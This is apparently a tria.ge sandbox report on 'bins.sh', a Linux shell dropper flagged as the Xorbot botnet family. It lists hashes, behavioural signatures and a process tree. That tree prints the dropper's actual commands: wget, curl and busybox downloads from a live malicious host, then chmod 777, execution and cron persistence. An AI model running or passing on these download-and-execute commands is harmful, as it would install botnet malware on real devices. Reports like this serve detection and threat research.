Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
151s -
platform
debian-9_armhf -
resource
debian9-armhf-20240729-en -
resource tags
arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
27/02/2025, 23:08
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
97fa31a6ea5fb450f4b293c1695590f1
-
SHA1
159bd52d99913da9322c119a059d3a365e4df48b
-
SHA256
2a07e23c43f86bb0d86fbcf7150800436a5a5eecc19df844a25f333103d680cb
-
SHA512
398542cc05bbba61b049fac52ea0705164bc47b69c0416f5492e00af30a0c8135d4197475d051860d7d260a15e150b19afe7901b4fd8253c945f68d3ef2289a1
-
SSDEEP
192:ky+S2qAgvmyXkoni6i8cBC+3IhdaP3TG/UDi8cBC+rAhdaP3eIDJMnAgvmyHkonQ:ky+S2qAgvmyXkoni6i8cBC+4hdaP3T2n
Malware Config
Signatures
-
resource yara_rule behavioral2/files/fstream-1.dat family_xorbot behavioral2/files/fstream-6.dat family_xorbot behavioral2/files/fstream-7.dat family_xorbot behavioral2/files/fstream-8.dat family_xorbot -
Xorbot family
-
Contacts a large (2141) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 710 chmod 833 chmod 840 chmod 852 chmod 884 chmod -
Executes dropped EXE 4 IoCs
ioc pid Process /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT 711 bins.sh /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN 834 bins.sh /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE 841 bins.sh /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 853 bins.sh -
Renames itself 1 IoCs
pid Process 712 Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.p65xOb crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Checks CPU configuration 1 TTPs 5 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/878/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/1043/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/788/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/800/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/919/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/774/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/945/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/962/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/654/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/727/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/745/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/773/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/804/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/820/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/908/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/779/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/868/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/958/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/741/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/805/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/821/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/862/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/912/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/971/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/1016/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/1017/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/1/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/602/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/743/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/890/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/911/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/filesystems crontab File opened for reading /proc/148/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/898/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/909/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/913/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/967/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/14/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/20/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/314/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/738/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/887/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/974/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/115/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/829/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/934/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/154/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/897/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/933/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/997/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/8/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/22/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/965/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/973/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/990/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/1036/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/759/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/803/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/937/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/952/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/991/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/1022/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/15/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/782/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT -
System Network Configuration Discovery 1 TTPs 16 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 658 wget 737 wget 844 wget 857 wget 862 busybox 705 busybox 831 busybox 837 wget 838 curl 839 busybox 847 busybox 858 curl 683 curl 820 curl 845 curl 887 wget -
Writes file to tmp directory 7 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT wget File opened for modification /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT curl File opened for modification /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT busybox File opened for modification /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN busybox File opened for modification /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE busybox File opened for modification /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 busybox File opened for modification /tmp/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP wget
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
PID:652 -
/bin/rm/bin/rm bins.sh2⤵PID:655
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:658
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- Checks CPU configuration
- System Network Configuration Discovery
- Writes file to tmp directory
PID:683
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:705
-
-
/bin/chmodchmod 777 Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- File and Directory Permissions Modification
PID:710
-
-
/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT./Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- Renames itself
- Reads runtime system information
PID:711 -
/bin/shsh -c "crontab -l"3⤵PID:713
-
/usr/bin/crontabcrontab -l4⤵PID:714
-
-
-
/bin/shsh -c "crontab -"3⤵PID:716
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:718
-
-
-
-
/bin/rmrm Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵PID:734
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵
- System Network Configuration Discovery
PID:737
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵
- Checks CPU configuration
- System Network Configuration Discovery
PID:820
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:831
-
-
/bin/chmodchmod 777 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵
- File and Directory Permissions Modification
PID:833
-
-
/tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN./11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵PID:834
-
-
/bin/rmrm 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵PID:836
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE2⤵
- System Network Configuration Discovery
PID:837
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE2⤵
- Checks CPU configuration
- System Network Configuration Discovery
PID:838
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:839
-
-
/bin/chmodchmod 777 wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE2⤵
- File and Directory Permissions Modification
PID:840
-
-
/tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE./wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE2⤵PID:841
-
-
/bin/rmrm wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE2⤵PID:843
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX62⤵
- System Network Configuration Discovery
PID:844
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX62⤵
- Checks CPU configuration
- System Network Configuration Discovery
PID:845
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX62⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:847
-
-
/bin/chmodchmod 777 vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX62⤵
- File and Directory Permissions Modification
PID:852
-
-
/tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6./vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX62⤵PID:853
-
-
/bin/rmrm vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX62⤵PID:856
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn2⤵
- System Network Configuration Discovery
PID:857
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn2⤵
- Checks CPU configuration
- System Network Configuration Discovery
PID:858
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn2⤵
- System Network Configuration Discovery
PID:862
-
-
/bin/chmodchmod 777 JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn2⤵
- File and Directory Permissions Modification
PID:884
-
-
/tmp/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn./JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn2⤵PID:885
-
-
/bin/rmrm JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn2⤵PID:886
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:887
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
-
Filesize
81KB
MD5393a405d7ec265bff77ba572b4ac7c8e
SHA1f16ac3556de6e39931d96f6f408f6d29a986aadb
SHA2561af44e11d198d9c1e0caa83a09cbef8f7469049673be143cfb1aba4cc9f5f752
SHA512f773a6ea36817edba018e5617b80e2bed498f66bbba4e6cbfff311ba604b6b6da4914e959028d1f97259c5e81ca966e458d6a227f695f004161a80eb97ec01c4
-
Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
-
Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
-
Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
-
Filesize
210B
MD5ddfcd6deb4abb8d8341643fd8ee3fffa
SHA1fef24cfd01ab4ecfddff4c26519ef4fafdf2bbb8
SHA2560dca5e979334f95333c4936224d0a29749c213da61d036ef68a7b4b02f05f1f9
SHA5125e4c1ad8554a93eaca7549483f3b0c3ae9209f20ffe8acc60a7a1ae49ce70b395ada5788fb93cb7d4f08b48b801efdd2d22c44f2e52cddf5aae5f9cda776878b